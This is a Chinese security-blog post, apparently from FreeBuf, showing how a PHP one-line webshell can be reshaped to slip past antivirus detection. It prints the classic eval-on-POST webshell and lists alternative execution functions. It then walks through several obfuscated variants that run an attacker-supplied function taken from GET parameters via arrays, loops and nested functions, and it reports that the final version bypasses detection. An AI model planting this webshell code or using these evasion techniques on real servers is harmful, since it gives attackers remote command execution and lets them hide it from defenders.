一句话木马的绕过的变型测试
2021-04-18 16:53:33 Author: www.freebuf.com(查看原文) 阅读量:92 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

在渗透测试过程中,我们上传的webshell,难免遭到杀软都webshell的拦截,我们通常要将一句话木马变形绕过,下面给大家带来一次自己变形的一句话


一句话木马的执行,两个条件为执行代码的函数部分,一个是接收数据的部分
经典一句话木马:
<?php eval(@$_POST['a']); ?>

eval就是执行命令的函数,除此之外还有其他替换函数
例如
Assert
create_function
call_user_func
preg_replace

image.png

经典的一句话毫无疑问 5级警告,经过很多写法,都是被认为是至少是2级
所以我采用函数外带,以参数的形式传递进来,那么需要包括两部分,一个是assert函数,一个是phpinfo

是采用两个变量接受

$a=$_GET[‘a’]; //接受assert
$b=$_GET[‘b’]; //接受phpinfo()
$a($b);

image.png

结果是毫无疑问能执行出来
但是
image.png
那就继续吧,思路就是不讲接收到的值直接进行$a($b);这样的组合,于是我使用了php的数组

$kill=array("{$a}","{$b}");
var_dump($kill);
image.png

image.png

成功被查杀。。。。
于是定义了一个新的数组,第一个数组循环将值给$killer

$killer = array();
for($i;$i<count($kill);$i++){
$killer[] = $kill[$i];
}
ab($killer[0],$killer[1]);

image.png

级别为1级了,再试试
`<?php
$a=$_GET['a'];

$b=$_GET['b'];

$kill=array("{$a}","{$b}");

$killer = array();

$i=0;

for($i;$i<count($kill);$i++){
$killer[] = $kill[$i];

}
$c = $killer[0];
$d = $killer[1];
$c($d);
?>`

image.png

也是一级
于是我想到将得到的$killer[0],$killer[1]的值传递给一个函数,而真正执行则在函数内执行

image.png

image.png

那我不执行先,继续传递到内层函数,又查到了,但这次提示不太一样
image.png
那就再来一级
完整代码
image.png

成功绕过
image.png


文章来源: https://www.freebuf.com/articles/web/269946.html
如有侵权请联系:admin#unsafe.sh